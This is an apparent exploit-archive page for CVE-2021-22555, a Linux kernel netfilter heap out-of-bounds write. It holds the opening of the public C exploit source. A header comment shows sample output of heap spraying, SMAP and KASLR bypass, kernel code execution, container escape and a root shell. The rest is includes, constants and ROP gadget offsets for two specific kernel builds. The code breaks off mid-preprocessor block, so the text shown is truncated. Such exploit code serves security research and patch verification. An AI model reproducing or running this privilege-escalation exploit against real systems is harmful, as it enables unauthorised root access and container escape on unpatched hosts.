Linux Kernel Netfilter Heap Out-Of-Bounds Write

A heap out-of-bounds write affecting the Linux kernel since version 2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a denial of service condition (via heap memory corruption) through user name space.


MD5 | 684e77ccfc7b1a979cda1a4a02396c51

/*
* CVE-2021-22555: Turning \x00\x00 into 10000$
* by Andy Nguyen ([email protected])
*
* [email protected]:~$ gcc -m32 -static -o exploit exploit.c
* [email protected]:~$ ./exploit
* [+] Linux Privilege Escalation by [email protected] - 2021
*
* [+] STAGE 0: Initialization
* [*] Setting up namespace sandbox...
* [*] Initializing sockets and message queues...
*
* [+] STAGE 1: Memory corruption
* [*] Spraying primary messages...
* [*] Spraying secondary messages...
* [*] Creating holes in primary messages...
* [*] Triggering out-of-bounds write...
* [*] Searching for corrupted primary message...
* [+] fake_idx: ffc
* [+] real_idx: fc4
*
* [+] STAGE 2: SMAP bypass
* [*] Freeing real secondary message...
* [*] Spraying fake secondary messages...
* [*] Leaking adjacent secondary message...
* [+] kheap_addr: ffff91a49cb7f000
* [*] Freeing fake secondary messages...
* [*] Spraying fake secondary messages...
* [*] Leaking primary message...
* [+] kheap_addr: ffff91a49c7a0000
*
* [+] STAGE 3: KASLR bypass
* [*] Freeing fake secondary messages...
* [*] Spraying fake secondary messages...
* [*] Freeing sk_buff data buffer...
* [*] Spraying pipe_buffer objects...
* [*] Leaking and freeing pipe_buffer object...
* [+] anon_pipe_buf_ops: ffffffffa1e78380
* [+] kbase_addr: ffffffffa0e00000
*
* [+] STAGE 4: Kernel code execution
* [*] Spraying fake pipe_buffer objects...
* [*] Releasing pipe_buffer objects...
* [*] Checking for root...
* [+] Root privileges gained.
*
* [+] STAGE 5: Post-exploitation
* [*] Escaping container...
* [*] Cleaning up...
* [*] Popping root shell...
* [email protected]:/# id
* uid=0(root) gid=0(root) groups=0(root)
* [email protected]:/#
*
* Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.
*/

// clang-format off
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on

#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// #define KERNEL_COS_5_4_89 1
#define KERNEL_UBUNTU_5_8_0_48 1

// clang-format off
#ifdef KERNEL_COS_5_4_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]
#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP_RSP_POP_RBX_RET 0x5401DF

// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x6748C

// 0xffffffff810c7c80 : pop rdx ; ret
#define POP_RDX_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP_RSI_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP_RDI_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP_RBP_RET 0x54B

// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1

#define FIND_TASK_BY_VPID 0x963C0
#define SWITCH_TASK_NAMESPACES 0x9D080
#define COMMIT_CREDS 0x9EC10
#define PREPARE_KERNEL_CRED 0x9F1F0

#define ANON_PIPE_BUF_OPS 0xE51600
#define INIT_NSPROXY 0x1250590
#elif KERNEL_UBUNTU_5_8_0_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP_RSP_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x6DB59

// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x891BC

// 0xffffffff810f5633 : pop rcx ; ret
#define POP_RCX_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP_RSI_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP_RDI_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP_RBP_RET 0x5AE

// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB

#define FIND_TASK_BY_VPID 0xBFBC0
#define SWITCH_TASK_NAMESPACES 0xC7A50
#define COMMIT_CREDS 0xC8C80
#define PREPARE_KERNEL_CRED 0xC9110

#define ANON_PIPE_BUF_OPS 0x1078380
#define INIT_NSPROXY 0x1663080
#else
#error "No kernel version defined"
Related Posts